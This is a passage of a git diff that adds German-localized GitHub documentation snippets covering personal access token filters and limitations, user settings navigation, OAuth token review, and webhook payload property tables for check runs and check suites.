index 0000000000..eb0b564167
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/patv2-filters.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: f80aa01c3d1f69ac77a65e21f4723a25b2d8ebc6
+ms.sourcegitcommit: d309541e8f0e28bc1ec333a85b00218627e54fe1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/03/2022
+ms.locfileid: "148131394"
+---
+1. Verwende optional Filter, um nur bestimmte Token anzuzeigen. 
+   - Du kannst über das Dropdownmenü **Besitzer** die Token nach den Mitgliedern filtern, die das Token erstellt haben. 
+   - Verwende die Dropdownliste **Repository**, um die Token nach Repositoryzugriff zu filtern. 
+   - Verwende die Dropdownliste **Berechtigungen**, um die Token nach Berechtigung zu filtern.
diff --git a/translations/de-DE/data/reusables/user-settings/patv2-limitations.md b/translations/de-DE/data/reusables/user-settings/patv2-limitations.md
new file mode 100644
index 0000000000..2a54587884
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/patv2-limitations.md
@@ -0,0 +1,28 @@
+---
+ms.openlocfilehash: de2f4c96c3a86d64a11bfb8c5fbdc4f4082601e8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107573"
+---
+{% note %}
+
+**Hinweis**: Derzeit funktionieren einige Features nur mit {% data variables.product.pat_v1_plural %}:
+
+- Nur {% data variables.product.pat_v1_plural %} verfügen über Schreibzugriff für öffentliche Repositorys, die nicht dir gehören oder sich im Besitz einer Organisation befinden, der du nicht angehörst.{% ifversion ghec or ghes or ghae %}
+- Nur {% data variables.product.pat_v1_plural %} verfügen automatisch über Schreibzugriff für interne Repositorys, die sich im Besitz deines Unternehmens befinden. {% data variables.product.pat_v2_caps %} muss Zugriff auf interne Repositorys gewährt werden.{% endif %}
+- Externe Mitwirkende können nur {% data variables.product.pat_v1_plural %} verwenden, um auf Organisationsrepositorys zuzugreifen, an denen sie mitwirken.{% ifversion ghec or ghes or ghae %}
+- Nur {% data variables.product.pat_v1_plural %} können auf Unternehmen zugreifen. ({% data variables.product.pat_v2_caps %} können auf Organisationen im Besitz von Unternehmen zugreifen.){% endif %}
+- Die folgenden APIs unterstützen nur {% data variables.product.pat_v1_plural %}. Eine Liste der REST-API-Vorgänge, die für {% data variables.product.pat_v2 %} unterstützt werden, findest du unter [Verfügbare Endpunkte für {% data variables.product.pat_v2 %}s](/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens).
+  - GraphQL-API{% ifversion ghec or ghes or ghae %}
+  - REST-API für Unternehmensadministratoren{% endif %}{% ifversion ghec or fpt %}
+  - REST-API zum Verwalten von Quellimporten{% endif %}
+  - REST-API zum Verwalten von {% data variables.product.prodname_projects_v1_caps %}
+  - REST-API zum Verwalten von {% data variables.product.prodname_registry %}
+  - REST-API zum Verwalten von Benachrichtigungen
+  - REST-API zum Übertragen eines Repositorys
+  - REST-API zum Erstellen eines Repositorys aus einer Vorlage
+  - REST-API zum Erstellen eines Repositorys für den authentifizierten Benutzer
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/user-settings/payment-info-link.md b/translations/de-DE/data/reusables/user-settings/payment-info-link.md
new file mode 100644
index 0000000000..f9003912c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/payment-info-link.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d61f4bb3ed6bb46742230ccd65834b774ed3c73a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066318"
+---
+1. Klicke oben auf der Seite auf **Zahlungsinformationen**.
+  ![Link zu Zahlungsinformationen](/assets/images/help/settings/payment-info-link.png)
diff --git a/translations/de-DE/data/reusables/user-settings/personal_access_tokens.md b/translations/de-DE/data/reusables/user-settings/personal_access_tokens.md
new file mode 100644
index 0000000000..0a2887b96d
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/personal_access_tokens.md
@@ -0,0 +1,2 @@
+1. In the left sidebar, click **{% data variables.product.pat_generic_caps %}s**.
+![{% data variables.product.pat_generic_caps %}s](/assets/images/help/settings/personal_access_tokens_tab.png)
diff --git a/translations/de-DE/data/reusables/user-settings/personal_dashboard.md b/translations/de-DE/data/reusables/user-settings/personal_dashboard.md
new file mode 100644
index 0000000000..4537fadee7
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/personal_dashboard.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e156611034e4284f18c6ced1ea216d0cbbd7755a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066299"
+---
+{% ifversion fpt or ghec %}[Persönliches Dashboard](https://github.com/dashboard){% else %}Persönliches Dashboard (`https://[hostname]/dashboard`){% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/removes-personal-access-tokens.md b/translations/de-DE/data/reusables/user-settings/removes-personal-access-tokens.md
new file mode 100644
index 0000000000..3840329b4c
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/removes-personal-access-tokens.md
@@ -0,0 +1 @@
+As a security precaution, {% data variables.product.company_short %} automatically removes {% data variables.product.pat_generic %}s that haven't been used in a year. To provide additional security, we highly recommend adding an expiration to your {% data variables.product.pat_generic %}s.
diff --git a/translations/de-DE/data/reusables/user-settings/repo-tab.md b/translations/de-DE/data/reusables/user-settings/repo-tab.md
new file mode 100644
index 0000000000..dc3742b0ea
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/repo-tab.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "repo" aria-label="The repo icon" %} Repositories**.
+{% else %}
+1. In the left sidebar, click **Repositories**.
+  ![Repositories tab](/assets/images/help/settings/repos-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/restore-confirmation.md b/translations/de-DE/data/reusables/user-settings/restore-confirmation.md
new file mode 100644
index 0000000000..f408e0baa9
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/restore-confirmation.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d8a86fe16585267cf6d5ae680cc1ed5fc424fbef
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066290"
+---
+1. Lies die Warnung, und klicke dann auf **Verstanden, Repository wiederherstellen**.
+  ![Schaltfläche zum Bestätigen der Wiederherstellung](/assets/images/help/settings/confirm-restoration-button.png)
diff --git a/translations/de-DE/data/reusables/user-settings/restore-repo.md b/translations/de-DE/data/reusables/user-settings/restore-repo.md
new file mode 100644
index 0000000000..d8d0d3e322
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/restore-repo.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8f301ab0991b6008f2e635e5e658e6a19ae0af48
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066287"
+---
+1. Klicke neben dem Repository, das du wiederherstellen möchtest, auf **Wiederherstellen**.
+   ![Schaltfläche „Wiederherstellen“](/assets/images/help/settings/restore-button.png)
diff --git a/translations/de-DE/data/reusables/user-settings/review-oauth-apps.md b/translations/de-DE/data/reusables/user-settings/review-oauth-apps.md
new file mode 100644
index 0000000000..d6baff2504
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/review-oauth-apps.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 928fa1d4d1215a01d1454f0e14758ff1b7543ff1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066286"
+---
+1. Überprüfe die Tokens, die Zugriff auf dein Konto haben. Klicke für diejenigen, die du nicht erkennst oder die veraltet sind, auf **{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}** , und klicke dann auf **Widerrufen**. Wenn du alle Token widerrufen möchtest, klicke auf **Alle widerrufen**.
+  ![Liste autorisierter {% data variables.product.prodname_oauth_apps %}](/assets/images/help/settings/revoke-oauth-app.png)
diff --git a/translations/de-DE/data/reusables/user-settings/review_oauth_tokens_tip.md b/translations/de-DE/data/reusables/user-settings/review_oauth_tokens_tip.md
new file mode 100644
index 0000000000..622ac5855d
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/review_oauth_tokens_tip.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 83a179dc54c4d11625aca426c302e3fadcc835b4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066283"
+---
+Wir empfehlen, dass Du Deine autorisierten Integrationen regelmäßig überprüfst. Entferne alle Applikationen und Tokens, die seit längerer Zeit nicht verwendet wurden. Weitere Informationen findest du unter [Überprüfen der autorisierten Integrationen](/articles/reviewing-your-authorized-integrations).
diff --git a/translations/de-DE/data/reusables/user-settings/saved_replies.md b/translations/de-DE/data/reusables/user-settings/saved_replies.md
new file mode 100644
index 0000000000..e8b515e328
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/saved_replies.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "reply" aria-label="The reply icon" %} Saved replies**.
+{% else %}
+1. In the left sidebar, click **Saved replies**.
+![Saved replies tab](/assets/images/help/settings/saved-replies-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/security-analysis.md b/translations/de-DE/data/reusables/user-settings/security-analysis.md
new file mode 100644
index 0000000000..633c1d4071
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/security-analysis.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Code security and analysis**.
+{% else %}
+1. In the left sidebar, click **Security & analysis**.
+![Security and analysis settings](/assets/images/help/settings/settings-sidebar-security-analysis.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/security.md b/translations/de-DE/data/reusables/user-settings/security.md
new file mode 100644
index 0000000000..e22f68f571
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/security.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Password and authentication**.
+{% else %}
+1. In the left sidebar, click **Account security**.
+![Personal account security settings](/assets/images/help/settings/settings-sidebar-account-security.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/select_primary_email.md b/translations/de-DE/data/reusables/user-settings/select_primary_email.md
new file mode 100644
index 0000000000..6b0ca0d6d1
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/select_primary_email.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0ae39e8691ca651103e170d3f5c37c22fcadfc63
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066263"
+---
+1. Wähle in der Liste "Primary email address" (Primäre E-Mail-Adresse) diejenige E-Mail-Adresse, die Du mit Deinen webbasierten Git-Operationen verknüpfen möchtest.
+![Auswahl für die primäre E-Mail-Adresse](/assets/images/help/settings/email_primary.png)
diff --git a/translations/de-DE/data/reusables/user-settings/set_your_email_address_in_git.md b/translations/de-DE/data/reusables/user-settings/set_your_email_address_in_git.md
new file mode 100644
index 0000000000..9ea98c7285
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/set_your_email_address_in_git.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cb62987436314392ac6f2d9b46a0462635361942
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146339898"
+---
+Lege in Git eine E-Mail-Adresse fest. Du kannst {% ifversion fpt or ghec %}Deine [von {% data variables.product.product_name %} bereitgestellte `noreply`-E-Mail-Adresse](/articles/setting-your-commit-email-address) oder {% endif %}eine beliebige E-Mail-Adresse verwenden.
diff --git a/translations/de-DE/data/reusables/user-settings/set_your_git_username.md b/translations/de-DE/data/reusables/user-settings/set_your_git_username.md
new file mode 100644
index 0000000000..3f17c600f3
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/set_your_git_username.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e8d898d95221d104deae96445e0096d93afd180f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066251"
+---
+Lege einen Git-Benutzernamen fest:
diff --git a/translations/de-DE/data/reusables/user-settings/ssh.md b/translations/de-DE/data/reusables/user-settings/ssh.md
new file mode 100644
index 0000000000..cf6c7a99bc
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/ssh.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} SSH and GPG keys**.
+{% else %}
+1. In the user settings sidebar, click **SSH and GPG keys**.
+![Authentication keys](/assets/images/help/settings/settings-sidebar-ssh-keys.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/sudo-mode-popup.md b/translations/de-DE/data/reusables/user-settings/sudo-mode-popup.md
new file mode 100644
index 0000000000..e6079ebdcb
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/sudo-mode-popup.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: f9f401d377306e461c365c77089f478f9cd9b6a3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147888726"
+---
+{%- ifversion fpt or ghec or ghes %}
+1. Wenn du dazu aufgefordert wirst, bestätige den Zugriff auf dein Konto auf {% data variables.product.product_name %}. Weitere Informationen findest du unter [Sudo-Modus](/authentication/keeping-your-account-and-data-secure/sudo-mode).
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/update-preferences.md b/translations/de-DE/data/reusables/user-settings/update-preferences.md
new file mode 100644
index 0000000000..917b9ba68e
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/update-preferences.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7cfe8e63c70c87e6399e0ec443a987887bc627ca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147065698"
+---
+1. Klicke auf **Einstellungen aktualisieren**.
diff --git a/translations/de-DE/data/reusables/user-settings/update_oauth_app.md b/translations/de-DE/data/reusables/user-settings/update_oauth_app.md
new file mode 100644
index 0000000000..5edb0594d6
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/update_oauth_app.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5f4fa75da98bb6410aaa994aead4767e518c558e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066242"
+---
+1. Klicke auf **Anwendung aktualisieren**.
+![Schaltfläche zum Aktualisieren der Anwendung](/assets/images/oauth-apps/oauth_apps_update_application.png)
diff --git a/translations/de-DE/data/reusables/user-settings/user-api.md b/translations/de-DE/data/reusables/user-settings/user-api.md
new file mode 100644
index 0000000000..68cff9a197
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/user-api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 740d5655197f25385b0ac206fdeea33a585f3ad4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060226"
+---
+Viele der Ressourcen für diese API bieten eine Tastenkombination zum Abrufen von Informationen zu den aktuell authentifizierten Benutzer*innen. Wenn eine Anforderungs-URL keinen `{username}`-Parameter enthält, ist die Antwort für die angemeldete Benutzerin bzw. den angemeldeten Benutzer bestimmt (Übergeben von [Authentifizierungsinformationen](/rest/overview/resources-in-the-rest-api#authentication) mit der Anforderung erforderlich).{% ifversion fpt or ghes or ghec %} Zusätzliche private Informationen (z. B. ob die zweistufige Authentifizierung für eine*n Benutzer*in aktiviert ist) sind enthalten, wenn die Authentifizierung über den grundlegenden Authentifizierungsvorgang oder OAuth mit dem `user`-Bereich erfolgt.{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/verify-org-approved-email-domain.md b/translations/de-DE/data/reusables/user-settings/verify-org-approved-email-domain.md
new file mode 100644
index 0000000000..c36156ab1a
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/verify-org-approved-email-domain.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6445e654f1319cdc29445cdaa15fee44963d73ae
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066239"
+---
+Wenn eine Organisation, in der Du Mitglied bist, E-Mail-Benachrichtigungen auf eine genehmigte E-Mail-Domäne beschränkt, musst Du eine E-Mail-Adresse in dieser Domäne verifizieren, um E-Mail-Benachrichtigungen über Aktivitäten in der Organisation zu erhalten. Weitere Informationen findest du unter [Einschränken von E-Mail-Benachrichtigungen auf eine genehmigte Domäne](/articles/restricting-email-notifications-to-an-approved-domain).
diff --git a/translations/de-DE/data/reusables/vs-code/open-command-palette.md b/translations/de-DE/data/reusables/vs-code/open-command-palette.md
new file mode 100644
index 0000000000..41676b4e25
--- /dev/null
+++ b/translations/de-DE/data/reusables/vs-code/open-command-palette.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cbfb832b999c289c3cfc070c65b2eec9c635342b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109590"
+---
+ 1. Öffne die {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>UMSCHALT</kbd>+<kbd>BEFEHL</kbd>+<kbd>P</kbd> (Mac) / <kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>P</kbd> (Windows/Linux)).
diff --git a/translations/de-DE/data/reusables/webhooks/action_type_desc.md b/translations/de-DE/data/reusables/webhooks/action_type_desc.md
new file mode 100644
index 0000000000..a688379043
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/action_type_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f259e8804d06a905580d53fb551aa5df858d582a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066235"
+---
+Der Aktivitätstyp wird in der `action`-Eigenschaft des Nutzdatenobjekts angegeben.
diff --git a/translations/de-DE/data/reusables/webhooks/app_always_desc.md b/translations/de-DE/data/reusables/webhooks/app_always_desc.md
new file mode 100644
index 0000000000..0bb92b81af
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/app_always_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b0f3cfad343a649eaeea82e51c864765faf9fd89
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066222"
+---
+`installation` | `object` | Die {% data variables.product.prodname_github_app %}-Installation.
diff --git a/translations/de-DE/data/reusables/webhooks/app_desc.md b/translations/de-DE/data/reusables/webhooks/app_desc.md
new file mode 100644
index 0000000000..16f006fa4e
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/app_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4e83f06aeaffca61b5c218d3e39b746e20794d60
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066214"
+---
+`installation` | `object` | Die {% data variables.product.prodname_github_app %}-Installation. Webhookpayloads enthalten die Eigenschaft `installation`, wenn das Ereignis für eine {% data variables.product.prodname_github_app %} konfiguriert und an diese gesendet wurde.
diff --git a/translations/de-DE/data/reusables/webhooks/authorization_event.md b/translations/de-DE/data/reusables/webhooks/authorization_event.md
new file mode 100644
index 0000000000..81b73e2990
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/authorization_event.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5466f29d4bb496b6451846f80a90f7b0471f8cda
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066211"
+---
+Jede Person kann ihre Autorisierung einer GitHub-App über ihre [Seite mit GitHub-Kontoeinstellungen](https://github.com/settings/apps/authorizations) widerrufen. Durch Widerrufen der Autorisierung einer GitHub-App wird die GitHub-App nicht deinstalliert. Du solltest deine GitHub-App so programmieren, dass sie nach dem Empfang dieses Webhooks die API nicht mehr im Auftrag der Person aufruft, die das Token widerrufen hat. Wenn deine GitHub-App ein widerrufenes Zugriffstoken weiterhin verwendet, erhält sie den Fehler `401 Bad Credentials`.
diff --git a/translations/de-DE/data/reusables/webhooks/check_run_properties.md b/translations/de-DE/data/reusables/webhooks/check_run_properties.md
new file mode 100644
index 0000000000..8bf3d2a537
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/check_run_properties.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 32ab126dadd891784d769bd869cf563c6783aedc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066210"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die ausgeführte Aktion. Kann eine der folgenden Aktionen sein: <ul><li> `created`: Eine neue Überprüfungsausführung wurde erstellt.</li><li> `completed`: Der `status` der Überprüfungsausführung lautet `completed`.</li><li> `rerequested`: Jemand hat die erneute Ausführung deiner Überprüfungssammlung über die Pull Request-Benutzeroberfläche angefordert. Weitere Informationen zur GitHub-Benutzeroberfläche findest du unter [Informationen zu Statusüberprüfungen](/articles/about-status-checks#checks). Wenn du eine `rerequested`-Aktion erhältst, musst du [eine neue Überprüfungsausführung erstellen](/rest/reference/checks#create-a-check-run). Nur die {% data variables.product.prodname_github_app %}, für die jemand eine erneute Ausführung der Überprüfung anfordert, erhält die Payload `rerequested`.</li><li> `requested_action`: Jemand hat die Ausführung einer Aktion angefordert, die deine App bereitstellt. Nur die {% data variables.product.prodname_github_app %}, für die jemand die Ausführung einer Aktion anfordert, erhält die Payload `requested_action`. Weitere Informationen zu Überprüfungsausführungen und angeforderten Aktionen findest du unter [Überprüfungsausführungen und angeforderte Aktionen](/rest/reference/checks#check-runs-and-requested-actions).</li></ul>
+`check_run`|`object` | [check_run](/rest/reference/checks#get-a-check-run).
+`check_run[status]`|`string` | Der aktuelle Status der Überprüfungsausführung. Kann `queued`, `in_progress` oder `completed` sein.
+`check_run[conclusion]`|`string` | Das Ergebnis der abgeschlossenen Überprüfungsausführung. Mögliche Werte: `success`, `failure`, `neutral`, `cancelled`, `timed_out`, `action_required` oder `stale`. Dieser Wert ist `null`, bis die Überprüfungsausführung `completed` ist.
+`check_run[name]`|`string` | Der Name der Überprüfungsausführung.
+`check_run[check_suite][id]`|`integer` | Die ID der Überprüfungssammlung, zu der diese Überprüfungsausführung gehört.
+`check_run[check_suite][pull_requests]`|`array`| Ein Array aus Pull Requests, die dieser Überprüfungssammlung entsprechen. Ein Pull Request entspricht einer Überprüfungssammlung, wenn sie denselben Wert für `head_branch` aufweisen.<br/><br/>**Hinweis:**<ul><li>Der `head_sha`-Wert einer Überprüfungssammlung kann vom `sha`-Wert des Pull Requests abweichen, wenn nachfolgende Pushes in den Pull Request erfolgen.</li><li>Wenn sich der `head_branch` der Überprüfungssammlung in einem Forkrepository befindet, lautet der Wert `null`, und das `pull_requests`-Array ist leer.</li></ul>
+`check_run[check_suite][deployment]`|`object`| Eine Bereitstellung in einer Repositoryumgebung. Dies wird nur aufgefüllt, wenn die Überprüfungsausführung von einem {% data variables.product.prodname_actions %}-Workflowauftrag erstellt wurde, der auf eine Umgebung verweist.
+`requested_action`|`object` | Die vom Benutzer angeforderte Aktion.
+`requested_action[identifier]`|`string` | Der Integratorverweis der vom Benutzer angeforderten Aktion.
diff --git a/translations/de-DE/data/reusables/webhooks/check_run_short_desc.md b/translations/de-DE/data/reusables/webhooks/check_run_short_desc.md
new file mode 100644
index 0000000000..862eec962c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/check_run_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 947a858253f7ee2c96827796197e7be01dd69a1a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066207"
+---
+Die Ausführungsaktivität wurde überprüft. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Überprüfungsausführungen](/rest/reference/checks#runs).
diff --git a/translations/de-DE/data/reusables/webhooks/check_suite_properties.md b/translations/de-DE/data/reusables/webhooks/check_suite_properties.md
new file mode 100644
index 0000000000..120c957d9c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/check_suite_properties.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 67fd6cd7e895b7e121c0972702473305fc560b24
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147116193"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die ausgeführte Aktion. Mögliche Werte sind:<ul><li>`completed`: Alle Überprüfungsausführungen in einer Überprüfungssammlung sind abgeschlossen.</li><li>`requested`: Tritt auf, wenn neuer Code in das Repository der App gepusht wird. Wenn du `requested`-Aktionsereignisse erhältst, musst du [eine neue Überprüfungsausführung erstellen](/rest/reference/checks#create-a-check-run).</li><li>`rerequested`: Tritt auf, wenn jemand die erneute Ausführung der gesamten Überprüfungssammlung über die Pull Request-Benutzeroberfläche anfordert. Wenn du `rerequested`-Aktionsereignisse erhältst, musst du [eine neue Überprüfungsausführung erstellen](/rest/reference/checks#create-a-check-run). Weitere Informationen zur GitHub-Benutzeroberfläche findest du unter [Informationen zu Statusüberprüfungen](/articles/about-status-checks#checks).</li></ul>
+`check_suite`|`object` | [check_suite](/rest/reference/checks#suites).
+`check_suite[head_branch]`|`string` | Der Name des Headbranchs, in dem sich die Änderungen befinden.
+`check_suite[head_sha]`|`string` | Der SHA-Wert des letzten Commits für diese Überprüfungssammlung.
+`check_suite[status]`|`string` | Der Zusammenfassungsstatus für alle Überprüfungsausführungen, die Teil der Überprüfungssammlung sind. Dies kann `queued`, `requested`, `in_progress` oder `completed` sein.
+`check_suite[conclusion]`|`string`| Die abschließende Zusammenfassung für alle Überprüfungsausführungen, die Teil der Überprüfungssammlung sind. Mögliche Werte: `success`, `failure`, `neutral`, `cancelled`, `timed_out`, `action_required` oder `stale`. Dieser Wert ist `null`, bis die Überprüfungsausführung `completed` ist.
+`check_suite[url]`|`string` | Ein Array, das auf die API-Ressource der Überprüfungssammlung verweist.
+`check_suite[pull_requests]`|`array`| Ein Array aus Pull Requests, die dieser Überprüfungssammlung entsprechen. Ein Pull Request entspricht einer Überprüfungssammlung, wenn sie denselben Wert für `head_branch` aufweisen.<br/><br/>**Hinweis:**<ul><li>Der `head_sha`-Wert einer Überprüfungssammlung kann vom `sha`-Wert des Pull Requests abweichen, wenn nachfolgende Pushes in den Pull Request erfolgen.</li><li>Wenn sich der `head_branch` der Überprüfungssammlung in einem Forkrepository befindet, lautet der Wert `null`, und das `pull_requests`-Array ist leer.</li></ul>
diff --git a/translations/de-DE/data/reusables/webhooks/check_suite_short_desc.md b/translations/de-DE/data/reusables/webhooks/check_suite_short_desc.md
new file mode 100644
index 0000000000..8f38d2a5e3
